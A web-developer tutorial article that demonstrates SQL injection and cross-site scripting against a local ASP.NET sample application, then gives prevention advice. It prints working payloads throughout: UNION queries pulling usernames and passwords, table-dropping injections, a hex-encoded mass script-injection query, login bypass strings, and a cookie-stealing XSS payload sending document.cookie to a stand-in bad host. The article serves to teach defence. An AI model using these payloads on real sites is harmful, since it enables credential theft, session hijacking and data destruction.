SQL Injection and Cross-Site Scripting: ASP Alliance


SQL Injection and Cross-Site Scripting

page

by Bryian Tan
Feedback

Average Rating: This article has not yet been rated.
Views (Total / Last 10 Days): 46840/ 70

Introduction

For the last couple of months, I was helping to patch up several legacy web applications for Cross-Site Scripting and SQL Injection vulnerabilities. I found lots of articles about this topic via Google, but reading about them and experimenting with them are two very different things. So I decided to put together a small sample application to examine the vulnerabilities that I found.

What is SQL Injection and Cross-site scripting?

Cross-Site Scripting (XSS or CSS)

· Enables malicious attackers to inject client-side script (JavaScript) or HTML markup into web pages viewed by other users.

SQL Injection

· Insertion of a SQL query via the input data from the client to the application that are later passed to an instance of SQL Server for parsing and execution.

· Very common with PHP and Classic ASP applications.

SQL Injection and Cross-Site Scripting attack are not relatively new topic. Read more about it from:

· Cross-site scripting

· SQL Injection –MSDN

· SQL Injection - Wikipedia

The mentioned vulnerabilities can happen via the

1. Query string

2. Form input box

Sample Application

Steps to Set Up the Sample Application

1. Create a new database and name in TestDB.

2. Create a new login and map it to TestDB.

3. Run the TestDBSetup.sql.

Steps to Run the Sample Application

1. This sample code requires Visual Studio 2008 or newer, if you don't have it, download the 90-day trial edition from Microsoft (Click here).

2. Download the sample code and unzip it.

3. Update the connectionStrings in the web.config.

4. Run the application and follow the sample described in this article. Make sure to remove any line break from the sample URL when copy and paste.

5. Shown below is the structure of the sample code.

Figure 1

Query string

SQL Injection

Definition: Insertion of a SQL query via the input data from the client to the application that are later passed to an instance of SQL Server for parsing and execution.

UNION SQL Injection

We will use the UNION statement to mine all the table names in the database. The two consecutive hyphens "--" indicates the SQL comments. See below, the comments are in bold color, the query statement after the hyphens will not evaluated by the SQL server.

Listing 1

SELECT * FROM dbo.MyComments WHERE ID = 1 --ORDER BY [Name]

Execute the URL shown below.

Listing 2

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL FROM 
INFORMATION_SCHEMA.TABLES--

It will yield the results "All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists." This error message emerges if we try to run a UNION, INTERSECT or EXCEPT query that has not an equal number of expressions in their SELECT list sections. The work around is to keep adding the NULL expression in the URL until the error message disappears.

Listing 3

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, NULL FROM 
INFORMATION_SCHEMA.TABLES--
…
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, NULL, 
NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES--

The error message will disappears if the query has equal number of expression in the UNION query. Next, try to replace each of the NULL value with TABLE_NAME. If you get an error message, leave it NULL.

Listing 4

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, 
TABLE_NAME, TABLE_NAME, TABLE_NAME, TABLE_NAME, NULL, NULL FROM 
INFORMATION_SCHEMA.TABLES--

Results

Figure 2

From the output displayed above, we know that the database contains several tables namely MyComments, tbl_SQLInjection, tbl_users and TestTable. Next, we will extract every columns name in tbl_users table. Execute the URL shown in listing 5.

Listing 5

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL,
COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, NULL, NULL FROM 
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'tbl_users'--

Result

Figure 3

From the output displayed above, we witnessed that the tbl_users contains address, password, phone, secret, secret2 and username columns. To confirms that, shown below is the snapshot of tbl_users table schema from the SQL server.

Figure 4

Repeat the same step with different table name.

Listing 6

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, 
COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, NULL, NULL FROM 
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'MyComments'--
…

Let retrieve the data stored in tbl_users table. The %2b and %27 are the URL encoding of the "+" and "'" character respectively. Execute the URL shown below.

Listing 7

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL,
username%2B %27 - %27%2Bpassword, secret %2B %27 - %27 %2B secret2, address, 
phone %2B %27 - %27 %2Baddress, NULL, NULL FROM tbl_users--

Results

Figure 5

To confirms that, shown below is the snapshot of tbl_users table contents. Repeat the same step for the rest of the tables.

Figure 6

Retrieve Data from sysprocesses Table

We also can retrieve the SQL server instance name, login name, database name, SQL server version, and etc… from the master..sysprocesses table. Execute the URL below and observe the output.

Listing 8

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION 
SELECT NULL, DB_Name([dbid]) %2B  CHAR(0x2d) %2B  loginame, net_address, 
hostname %2B  CHAR(0x2d) %2B  %40%40ServerName, %40%40version, NULL, NULL 
FROM master..sysprocesses--

UPDATE the table

Listing 9

http://localhost:1234/Sample/ListComments.aspx?cid=1 
UPDATE tbl_Users SET Password = 'HACKED' WHERE username ='test@test.com' --

Result

Figure 7

DELETE the data in the table

Listing 10

http://localhost:1234/Sample/ListComments.aspx?cid=99999 
DELETE FROM tbl_Users WHERE username ='test@test.com' --

TRUNCATE the table

Listing 11

http://localhost:1234/Sample/ListComments.aspx?cid=99999 
TRUNCATE TABLE tbl_Users --

DROP the table

Listing 12

http://localhost:1234/Sample/ListComments.aspx?cid=99999 DROP TABLE tbl_Users --

Hex based SQL injection

Once in a while, we will see some strange entries as listed below in the server log file.

Listing 13

http://www.YourDomain.com/SomePage.asp?id=1&cat=c 
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(4445434c415245204054207661726368617228
323535292c4043207661726368617228343030302920da4445434c415245205461626c655f43757273
6f7220435552534f5220464f5220da73656c65637420612e6e616d652c622e6e616d652066726f6d20
7379736f626a6563747320612c737973636f6c756d6e73206220da776865726520612e69643d622e69
6420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e7874
7970653d3335206f7220622e78747970653d323331206f7220622e78747970653d3136372920da4f50
454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f4375
72736f7220494e544f2040542c4043205748494c452840404645…

Which when decoded to string will becomes (PLEASE DO NOT COPY AND RUN THIS QUERY)

Listing 14

DECLARE @T varchar(255),@C varchar(4000) 
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or 
b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 
BEGIN 
exec('update ['+@T+'] set ['+@C+']=''"></title><script 
src="http://badscript.com/bad.js"> </script><!--''+['+@C+'] where '+@C+' not like 
''%"></title><script src="http://badscript.com/bad.js"></script><!--''')
FETCH NEXT FROM  
Table_Cursor INTO @T,@C END CLOSE 
Table_Cursor DEALLOCATE Table_Cursor

The above query will find all the text columns in the table of each database and append a malicious script to it.

Example

Shown below is a URL with a query string to retrieve comment from the SQL server by comment id.

http://localhost:1234/Sample/ListComments.aspx?cid=1

For the sake of simplicity, I'm using a simple update statement to update the table. The "UPDATE dbo.MyComments SET test='HACKED'" query will look like the following in hexadecimal:

0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427

The %3b is the URL encoding of the ";" character. Append the string to the URL. See below.

Listing 15

http://localhost:1234/Sample/ListComments.aspx?cid=1  DECLARE @S VARCHAR(255) 
SET 
@s=CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b
454427 AS VARCHAR(255))  exec (@s)--

http://localhost:1234/Sample/ListComments.aspx?cid=1%3BDECLARE @S VARCHAR(255)SET 
@s=CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b
454427 AS VARCHAR(255)) exec (@s)--

Before executing the above URL

Figure 8

After executing the above URL

Figure 9

Quick test

Append the below string to your web pages URL that take parameters.

Listing 16

http://localhost:1234/Sample/ListComments.aspx?cid=1 DECLARE @S VARCHAR(500) 
SET @s= 
CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e272c27552729204
953204e554c4c20435245415445205441424c452064626f2e5b74626c5f53514c496e6a656374696f6
e5d285b4f75747075745d205b766172636861725d2835303029204e554c4c2920494e5345525420494
e544f2064626f2e74626c5f53514c496e6a656374696f6e2053454c454354202770616765202d20537
5626a65637420746f2053514c20496e6a656374696f6e27 as VARCHAR(500))Exec(@s)--

If the URL parameter value is not an integer, try appending '; or '); or; in front of the DECLARE keyword. See below for an example.

Listing 17

; DECLARE @S VARCHAR(500) SET @s= 
CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e272c27552729204
953204e554c4c20435245415445205441424c452064626f2e5b74626c5f53514c496e6a656374696f6
e5d285b4f75747075745d205b766172636861725d2835303029204e554c4c2920494e5345525420494
e544f2064626f2e74626c5f53514c496e6a656374696f6e2053454c454354202770616765202d20537
5626a65637420746f2053514c20496e6a656374696f6e27 as VARCHAR(500))Exec(@s)--
…

Then, execute this query "SELECT * FROM dbo.tbl_SQLInjection" in SQL Server Management Studio. If you see the results similar to the one shown below, then the web page is subjected to Hex based SQL Injection. Repeat the above step for the rest of the web pages.

Figure 10

If the URL parameter value is not an integer, try appending '; or '); or ; in front of the query.

Cross-Site Scripting (CSS/XSS) Attack

Definition: Enables malicious attackers to inject client-side script or HTML markup into web pages viewed by other users.

Let say we have a login page and it will display an error message for every unsuccessful attempt. The error message is stored within the query string of the URL and later display in the Label control. See figure 11.

Figure 11

Consider this scenario, an anonymous user sends you an email with the following content:

Listing 18

Dear Admin,
There is problem with the login page: 
http://localhost:1234/Sample/LoginPage.aspx?strErr=%22%3E%3C%73%63%72%69%70%74%20%
73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39%39%39%37%2F%6
2%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69%70%74%2E%6A%73%22%3E
%3C%2F%73%63%72%69%70%74%3E

"There is problem with the login page http://localhost:1234/Sample/LoginPage.aspx" 
with the URL pointing to the above link.

The part of the URL is encoded in Hexadecimal value. When decoded, it will become:

Listing 19

http://localhost:1234/Sample/LoginPage.aspx?strErr=">
<script src="http://localhost:9997/badhost/maliciousscript.js"></script>

If we let our guard down and click on the link in the email, the browser will execute the malicious scripts. Execute the URL and you should see a pop-up message. Shown below is a script embedded in the query string to steal browser cookies.

Listing 20

http://localhost:1234/Sample/LoginPage.aspx?strErr=%3C%73%63%72%69%70%74%3E%76%61%
72%20%73%3D%27%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3
A%6E%6F%6E%65%22%20%53%52%43%3D%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A
%39%39%39%37%2F%62%61%64%68%6F%73%74%2F%63%6F%6F%6B%69%65%6D%6F%6E%73%74%65%72%2E%
61%73%70%78%3F%63%3D%27%2b%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6
F%6B%69%65%29%2b%27%3E%3C%5C%2F%49%46%52%41%4D%45%3E%27%3B%64%6F%63%75%6D%65%6E%74
%2E%77%72%69%74%65%28%73%29%3C%2F%73%63%72%69%70%74%3E

When decoded, it will look like:

Listing 21

http://localhost:1234/Sample/LoginPage.aspx?strErr=<script>var s='<IFRAME 
style="display:none" 
SRC=http://localhost:9997/badhost/cookiemonster.aspx?c='%2bescape(document.cookie)
%2b'><\/IFRAME>';document.write(s)</script>

The script will embed an IFRAME on to the page and pointing to http://localhost:9997/badhost/cookiemonster.aspx with a query string parameter "c". This parameter holds the cookies value created by the "SQLInjection_XSS_Demo" application. To demonstrate this, I created few cookies on the LoginPage.aspx. The cookiemonster.aspx will record all the cookies names and values in the CookieJar.txt.

Listing 22

    void FakeCookies()
    {
        Response.Cookies["email"].Value = "bryian.tan@mydomain.com";
        Response.Cookies["email"].Expires = DateTime.Now.AddDays(1);
 
        Response.Cookies["age"].Value = "22";
        Response.Cookies["age"].Expires = DateTime.Now.AddDays(1);
    }

After executing the above URL, we will see the below entries in the CookieJar.txt.

Figure 12

So what? What the attacker going to do with my cookies information? Let say the page will store some information in the cookies after successful login attempt. Login using one of the username found in the tbl_users table then refresh the web page. The page will pull out some information from the cookies and display the results on to the page. See below.

Figure 13

Update table with malicious script

We already know the tables and columns name from the previous example. Execute the URL shown in listing 23 to update the MyComment table with a JavaScript to tamper the cookies. This script will inject a script into the cookies value. Then navigate to the ListComments.aspx page to trigger the script and navigate back to LoginPage.aspx. You should see a popup message "XSS from bad host" indicates that the script was successfully executed by the browser.

Listing 23

http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments 
SET Comment = %27<scriptc="\<script 
src=\">http://localhost:9997/badhost/maliciousscript.js\"><\/script>"; 
document.cookie = "email="%2bc;</script> test %27 WHERE id =1 --

Let append some malicious scripts to the MyComment table. Execute the URL shown below.

Listing 24

http://localhost:1234/Sample/ListComments.aspx?cid=1 
%55%50%44%41%54%45%20%4D%79%43%6F%6D%6D%65%6E%74%73%20%53%45%54%20%4E%61%6D%65%3D%
27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6
F%73%74%3A%39%39%39%37%2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63
%72%69%70%74%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%20%2D%2D

The URL string, which when decoded, will become

Listing 25

http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments 
SET Name='<script 
src="http://localhost:9997/badhost/maliciousscript.js"></script>' --

Refresh the page, and we will see a popup message shown below. This indicates that the malicious script crafted by the attacker was successfully executed by the browser.

Figure 14

The URL shown below will embed a HTML IFRAME on to the page and will trigger the cookiemonster.aspx page every time a user navigates to the ListComments.aspx page. Execute it, navigate to ListComments.aspx page and observe that new contents are being appended to the CookieJar.txt file without a trace or warning message.

Listing 26

http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments 
SET Name= '<script>var s="<IFRAME style=display:none 
SRC=http://localhost:9997/badhost/cookiemonster.aspx?c="%2bescape(document.cookie)
%2b"><\/IFRAME>";document.write(s)</script>' --

Quick test

Append any of the below string to your web pages URL that take parameters. If you see a pop-up message, then the web page is subjected to Cross-Site Scripting attack.

http://localhost:1234/Sample/LoginPage.aspx?strErr="><scrIpt>alert("XSS")</scriPt>
 
http://localhost:1234/Sample/LoginPage.aspx?strErr=%3C%73%63%72%69%70%74%3E%61%6C%
65%72%74%28%22%58%53%53%22%29%3C%2F%73%63%72%69%70%74%3E
 
http://localhost:1234/Sample/LoginPage.aspx?strErr=</TITLE><sCRIPT>alert("XSS");</SCRIPt>
 
http://localhost:1234/Sample/LoginPage.aspx?strErr=<BODY%20ONLOAD=alert("XSS")>
 
http://localhost:1234/Sample/LoginPage.aspx?strErr="><iFRAME%20SRC="javascript:ale
rt('XSS');"></IFRaME>

Forms input

SQL Injection

We can bypass the login page by simply adding ' or 1=1 -- or ') or 1=1 to the login id and place any value in the password field. See example below.

Figure 15

If there are no maximum number of characters defined on the TextBox, the attacker can append the SQL statement mentioned above to the form input's value. Let's say we have a page to update the comment and I update the comment with the value shown below. We should see a new entry in the tbl_SQLInjection table after the update.

Listing 27

'; DECLARE @S VARCHAR(500) SET @s= 
CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e272c27552729204
953204e554c4c20435245415445205441424c452064626f2e5b74626c5f53514c496e6a656374696f6
e5d285b4f75747075745d205b766172636861725d2835303029204e554c4c2920494e5345525420494
e544f2064626f2e74626c5f53514c496e6a656374696f6e2053454c454354202770616765202d20537
5626a65637420746f2053514c20496e6a656374696f6e27 as VARCHAR(500))Exec(@s)--

Next, I'll demonstrate a simple way an attacker can update every column in the table with the same value. Let's update the Name value with hacked ';--

Figure 16

Retrieve all the rows from the MyComments table and witness that all the value in name column were updated to "hacked". As mentioned earlier, the two consecutive hyphens "--" indicates the SQL comments, the query statement after the hyphens will not evaluated by the SQL server. Please make sure to backup the database before replicating this demonstration.

Figure 17

Cross-Site Scripting

Cross-Site Scripting enables malicious attackers to inject client-side script or HTML markup into web pages viewed by other users. This can happen through the input form. Update the comment with the string "<script src="http://localhost:9997/badhost/maliciousscript.js"></script>". You should see a pop-up message when you navigate to http://localhost:1234/Sample/ListComments.aspx page.

Figure 18

Quick Test

Update the form value with any of the string listed below and observe the outcome. Make sure the string is in one line and no line break. If the JavaScript executes successfully by the browser or displays unexpected result then the web page is subjected to Cross-Site scripting.

<BODY ONLOAD=''javascript:window.location="http://www.google.com"''>
 
<BODY ONLOAD="javascript:alert(''XSS'')">
 
<p onmouseover=javascript:window.location="http://www. google.com";>test
 
<p onmousemove=javascript:window.location="http://www. google.com";>test
 
<p onMouseDown=javascript:window.location="http://www.google.com";>test
 
<span onmouseover=javascript:window.location="http://www. google.com";>test</span>
 
<span onmousemove=javascript:window.location="http://www.google.com";>test</span>
 
<h2 onmouseover=javascript:window.location="http://www.google.com";>test
 
<div onmouseover=javascript:window.location="http://1208929383";>test
 
<meta http-equiv="refresh" content="1; URL=http://1208929383">   
 
<b onmouseover=javascript:window.location="http://www.google.com";                       
>test
 
<img onmouseover=javascript:window.location="http://www.google.com";>
 
<img src=http://www.google.com/images/srpr/nav_logo14.png width="1" height="1" 
onLoad=javascript:window.location="http://www.google.com";>
 
<div  style="width:100%" 
onresize=javascript:window.location="http://www.google.com";>test</div> 
(Resize the browser to see the behavior)
 
<tt style="width:100%" 
onmousemove=javascript:window.location="http://www.google.com";>test
 
<PLAINTEXT> test
 
<object> test
 
<applet> test
 
<textarea> test
 
<title> test
 
<table> test
 
<style> test
 
<noscript> test

Points of Interest

Do not rely solely on client-side validation (JavaScript)

The attacker can bypass the client-side validation by disabling the JavaScript in web browsers. Do not depend exclusively on JavaScript to search and replace potentially dangerous HTML statement or SQL Injection keywords. Make sure to revalidate the user inputs at the server-side. I know is a lot of work, but for the sake of security we have to do it.

In the add comment section, the page is using the JavaScript to check for blank fields. Try to disable the JavaScript on your browser and add the comment again. Click here to learn on how to disable and enable the JavaScript.

Replacing single quotation mark (') with two single quotation mark ('')

I saw some web site mentioning that SQL Injection vulnerability can be prevented by simply replacing single quotation mark with double quotation mark. That not always the case, the attackers still able to inject the SQL table with malicious script or HTML markup without the single quotation mark. Malicious users can bypass the filter by using different character encoding, please refer to "How To: Prevent Cross-Site Scripting in ASP.NET", table 1.

Inline Code/tags

There are several ways to display information from an ASP.NET program. We can display information in the page using an embedded code block. <% ... %> or using <%= … %> construction. Another way is to use data-binding syntax <%# … %> to bind control property values to data and specify values for retrieving, updating, deleting, and inserting data. Make sure to apply either the HttpUtility.HtmlEncode or Server.HtmlEncode methods to encode the form data and other client request before displaying it in the web page. This will help prevent possible Cross-Site Scripting injection attacks. With ASP.NET 4.0, the new <%: … %> code nugget-syntax will automatically HTML encode the output before it is rendered.

Stored procedure

I'm using stored procedure in my web application, are stored procedures immune to SQL Injection attacks? The answer is "it depends". If we are using dynamic SQL statements within stored procedure then it might open to SQL Injection attacks. Shown below is the stored procedure with dynamic SQL statement in it.

Figure 19

Update the comment field with the value ha ha ha';--. The "Update using inline query" and "Update using SP – Dynamic Query" button will update every comment field in the table with the specified value. On the other hand, the "Update using SP" button will only update the current record.

Figure 20

Request validation (ASP.NET)

Please note that the ValidateRequest attribute in the @page directive is set to false on purpose to emulate the Classic ASP environment and prevent the .NET framework from throwing the error ("A potentially dangerous Request.Form value was detected from the client"). If you happen to come across this error message in your application, rethink the business logic or page architecture before disabling the request validation.